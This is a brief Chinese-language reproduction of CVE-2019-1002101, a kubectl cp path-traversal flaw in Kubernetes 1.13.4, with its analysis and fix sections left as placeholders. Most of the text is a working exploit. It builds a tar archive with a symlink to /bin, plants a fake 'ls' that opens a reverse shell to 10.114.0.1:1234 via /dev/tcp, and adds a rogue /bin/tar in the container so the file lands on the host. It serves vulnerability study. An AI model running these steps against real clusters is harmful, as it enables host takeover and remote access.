漏洞分析
待补充…
漏洞复现
系统:Ubuntu 18.04
Kubernetes: 1.13.4
首先创建一个pod,这里我用的是Ubuntu的镜像:
apiVersion: v1 kind: Pod metadata: name: pod1 spec: containers: - name: c1 image: ubuntu:16.04 command: ["tail", "-f", "/dev/null"]
在容器中,创建一个tar压缩包。这里我先创建一个指向/bin的符号链接,再删掉符号链接并创建一个同名的目录,在其中放一个可以创建反弹shell的ls程序:
ln -s /bin ./d tar -cf malicious.tar ./d rm -f ./d mkdir ./d echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/10.114.0.1/1234 0>&1' > ./d/ls chmod +x ./d/ls tar -rf malicious.tar ./d/ls
接下来创建一个恶意的/bin/tar程序:
#!/bin/bash cat /malicious.tar
回到宿主,调用kubectl cp,此时在容器中创建的恶意ls就会被覆盖到宿主的/bin中,当宿主中的用户运行ls的时候,就会触发反弹shell。
官方修复
待补充…
参考
[2.1] https://github.com/brompwnie/CVE-2019-1002101-Helpers/
[3.1] https://github.com/kubernetes/kubernetes/pull/75037